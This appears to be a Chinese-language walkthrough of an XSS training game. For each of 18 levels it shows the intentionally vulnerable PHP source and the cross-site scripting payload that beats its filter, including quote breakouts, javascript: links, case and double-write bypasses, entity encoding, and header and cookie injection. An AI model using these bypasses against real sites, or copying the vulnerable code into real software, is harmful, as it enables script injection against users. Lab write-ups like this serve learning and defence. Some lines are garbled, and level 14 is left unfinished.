XSS小游戏
level 1
一开始界面上什么都没有,一般是从url上想办法顺便查一下php代码,
<script> window.alert = function() { confirm("完成的不错!");
window.location.href="level2.php?keyword=test"; } <script>
这里提示你要让网页弹窗即可那么直接用在url后面的参数上想办法:
直接把test改成 这样的弹窗脚本即可:
继续分析源代码,发现代码对用户输入输出完全没有过滤!
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
level 2
在2中,输入了一传正常的js,发现可以出现相关代码,是可以看出来,预定义的字符代码已经被转译成了HTML实体了。
我们查看源代码,果然这里可以看出来,预定义的字符代码对于输出的时候用了htmlspecialchars 转换成实体,可是下面的并没有转换,因此,可以从下面的输入框里里面入手,构造闭合语句。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'"> //这里没有实体化
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
payload:"onclick="window.alert()
构造完成以后可以在后台看到构造好并插入的弹框代码:
level 3
这里按着上面的也来一下,发现不行第三关的两个地方都加了htmlspecialchars函数处理。我们可以查看源代码。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以。那么就用单引号来测试
payload:'onclick='window.alert()
使用后成功过关,查看源代码如下:
level 4
这一关,查看源代码发现,多了几个str,这里仔细看一下就知道,在这里将输入的内容分别去掉了 <,> ,然后,外围的引号变成了双引号。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
但是,和第二关的漏洞没有太大区别,直接使用第二关payload
payload:"onclick="window.alert()
level 5 (过滤鼠标事件onclick,Script标签)
这题输入了上文的代码,会发现变了,在on中加上了下划线。
那么应该怎么做 查看代码发现它把script 和 on 中加入了下划线。那么鼠标事件,就不能用了。可以考虑下用链接(href),即在链接中调用js
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
payload:
"><a href="javascript:onclick=alert()">点我就xss</a>
点击就可以过关,我们查看构造的源代码:
level 6(过滤onclick、Script、href、src、data标签)
同样的,输入script和onclick 都会被加上下划线同时,href也是查看源代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
还有scr,data,等也是。然鹅,少了一个函数strtolower(),把所有字符转换为小写。
所以,我们可以用大写:
payload :"><A HREF="javascript:alert()">test</a>
level 7 (将特殊字符替换为空,双写绕过)
很遗憾啊,第七关的已经加上了strtolower,已经不能用大写绕过了
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
而且将这几个能用的都转换成空,那么应该怎么办?要注意他只是将其转换成空,不像前面的第六题,是加上下划线,那么我们可以尝试双写绕过。
payload :
"><scrscriptipt>alert()</scrscriptipt>
level 8(编码绕过)
这一题有难了,查看代码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
双引号转换成了“"”,而且还将关键字转换了,并且在添加友情链接input内还有htmlspecialchars转换,该怎么做?注意,这里在友情链接只用了 str7 ,只是将关键字转换了,那么如果用其他的编码的形式呢?是不是可以绕过?因为添加友情链接这里基本用不来了,没戏。
payload :
javascript:alert() #HTML实体编码(HEX)
javascript:alert() #HTML实体编码(DEC)
这里要注意不能把java四个转换编码,因为后台过滤的是script,所以把script其中一个编码一下就好了。
level 9
这题跟上题目差不多,就是在友情链接上多了一点判断
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
若检测不到http则报错
只要让它检测到http,却不能起到作用就可以了,所以可以用注释。
payload: javascript:alert(1)/*http://www.baidu.com*/
level 10(修改隐藏标签)
这道题很迷,仔细看下代码就知道,它要get两个参数keyword和t_sort,查看代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
而且 keyword参数并没有什么用,t_sort可以进行渗透那么在$str33这里进行构造语句<>被转换成空,那么script,src等也不能用了在代码中下面有三个隐藏的参数设置,在这里把t_sort的 hidden更改一下成text
payload :t_link=&t_history=&t_sort="onclick="alert()"type="text"
level 11(referer变量传递)
这道题参考一下代码可以发现,
str11=
s
t
r
11
=
_SERVER[‘HTTP_REFERER’];这里接受了来自上一题的referer,所以,我们可以在第十题转到的第十一题的时候,抓包修改referer,来构造绕过语句。在出现了 “完成得不错”后,先用burp抓住,然后在头文件内修改referer
payload:t_sort="type="text" onclick="alert(1)
level 12(user-agent变量传递)
这题跟上面的一样,只不过“
str11=
s
t
r
11
=
_SERVER[‘HTTP_USER_AGENT’];”这次是在user-agent里面修改
payload:111"type="text" onclick="alert(1)
后点击页面,通过
level 13(cookie处理)
这题看代码setcookie(“user”, “call me maybe?”, time()+3600);可以知道这是cookie绕过了其他的内容都差不多,抓包修改cookies
payload :
cookie:user="type="text" onclick="alert(1)"
level 14
待研究
level 15
AngularJS ng-include指令ng-include 指令用于包含外部的 HTML 文件。此题用的是文件包含,那么我们可以让它调用一个evil code执行弹窗啊
payload :?src=level1.php?name=1'window.alert()
level 16
这题把script 、/ 、空格 都转译了,跟前面有一题一样,可以考虑编码和不用script啊keyword=test,显示在页面中。
payload:?keyword=test<img%0dsrc=1%0donerror=alert(1)>
level 17
embed标签定义嵌入的内容,比如插件通过htmlspecialchars 转译了预定义字符onclick是在鼠标点击弹起之后触发的事件onmousedown是在鼠标按下之后触发的事件这里我用onclick
payload: arg01=a&arg02=b%20onclick=alert()
level 18
没看出源码和17关有什么不一样,输入17关的通关答案,成功通关
平台下载地址:这里写链接内容